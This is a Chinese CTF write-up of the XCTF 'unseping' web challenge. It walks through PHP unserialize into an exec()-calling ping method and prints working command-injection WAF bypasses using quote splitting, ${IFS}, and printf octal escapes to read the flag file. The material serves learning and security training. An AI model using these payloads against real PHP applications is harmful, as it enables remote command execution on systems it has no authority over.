当前位置: 首页 > ai >正文

攻防世界——Web题 unseping 反序列化绕过

目录

绕过waf

单引号双引号绕过

空格绕过

特殊字符绕过


拿到源码先看题眼:

function ping($ip){exec($ip, $result);var_dump($result);}

可以看到这是我们要利用的函数,而要执行这个函数就得先执行__destruct()函数:

function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}}

代码执行顺序:

当我创建对象时执行__construct,此时的method 和 args 被设置好了;之后发生反序列化,调用__wakeup,对传入的参数进行waf检查,确保没有特殊的字符和字符名;最后反序列化结束后,调用__destruct,实现命令执行。

最关键的是绕过waf

绕过waf

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

 是先对传入的ctf进行base64解码再进行反序列化,也就是说,我们传入的args得先进行序列化再进行base64加密,像这样:

echo(base64_encode(serialize($a)));

其次,我们得生成一个对象,由于call_user_func_array要求传入的第二个参数必须为数组:

$a=new ease("ping",array("ls"));

# 但这肯定不行,ls 会被waf过滤掉,可以尝试单引号双引号绕过

单引号双引号绕过

<?php
class ease
{private $method;private $args;function __construct($method, $args){$this->method = $method;$this->args = $args;}
}
$a=new ease("ping",array("l''s"));
echo(base64_encode(serialize($a)));
?>

 

 可以看到一个文件夹 flag_1s_here 尝试读取该文件夹:

$a=new ease("ping",array("ls flag_1s_here"));

空格绕过

这里会检测到 “空格” 和 flag,空格可以用${IFS}进行代替,flag也通过引号绕过,但这里要注意的一点是:当${IFS}在双引号内部时,会被自动解析,所以这里我们要用单引号进行包裹,双引号进行绕过:

$a=new ease("ping",array('l""s${IFS}fl""ag_1s_here'));

成功得到flag文件名,接下来我们执行:

$a=new ease("ping",array('cat flag_1s_here/flag_831b69012c67b35f.php'));

特殊字符绕过

这里要过滤的多了一个 "/"和 php 字符 ,在linux中$()会执行括号内的命令,而 printf 可以将格式化参数转换为对应字符,但需要借助$()来执行,比如通过 $(printf "\x20")来生成空格,可以通过该方法来生成 /

$a=new ease("ping",array('ca""t${IFS}fl""ag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.ph""p'));

 

可以成功得到flag

同样的,也可以只用$() 和 printf 来进行操作:

$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));


 

 

 

http://www.xdnf.cn/news/8509.html

相关文章:

  • [Git] 如何进行版本回退
  • Python打卡第35天
  • CloudWeGo-Netpoll:高性能NIO网络库浅析
  • Docker:容器化技术
  • Windows 配置 ssh 秘钥登录 Ubuntu
  • 实战教程:基于Vue.js与Django REST Framework的任务管理SPA开发全流程
  • 【论文阅读】——D^3-Human: Dynamic Disentangled Digital Human from Monocular Vi
  • 在 .NET 环境下实现跨进程高频率读写数据
  • HarmonyOS:相机管理
  • Vue 3.0中自定义Composition API
  • 无损提速黑科技:YOLOv8+OREPA卷积优化方案解析(原理推导/代码实现/调参技巧三合一)
  • 使用CodeBuddy基于Pygame模块实现贪吃蛇游戏
  • 快速失败(fail-fast)和安全失败(fail-safe)的区别
  • Python知识图谱工具全解析
  • Vue3性能优化: 大规模列表渲染解决方案
  • 【C++模板与泛型编程】重载与函数模板
  • Linux:再谈进程地址空间
  • go 访问 sftp 服务 github.com/pkg/sftp 的使用踩坑,连接未关闭(含 sftp 服务测试环境搭建)
  • 【无标题】python执行系统命令
  • PHP后端
  • github开源版pymol安装(ubuntu22.04实战版)
  • S32K开发环境搭建详细教程(一、S32K IDE安装注册)
  • 线性代数中的向量与矩阵:AI大模型的数学基石
  • VRRP虚拟路由器协议的基本概述
  • 生成模型——Pix2Pix
  • 光流法(Optical Flow)
  • 南京邮电大学《智能控制技术》期末抢救(上)
  • Mysql慢查询分析
  • next 声明路由
  • 告别手动测试:AUTOSAR网络管理自动化测试实战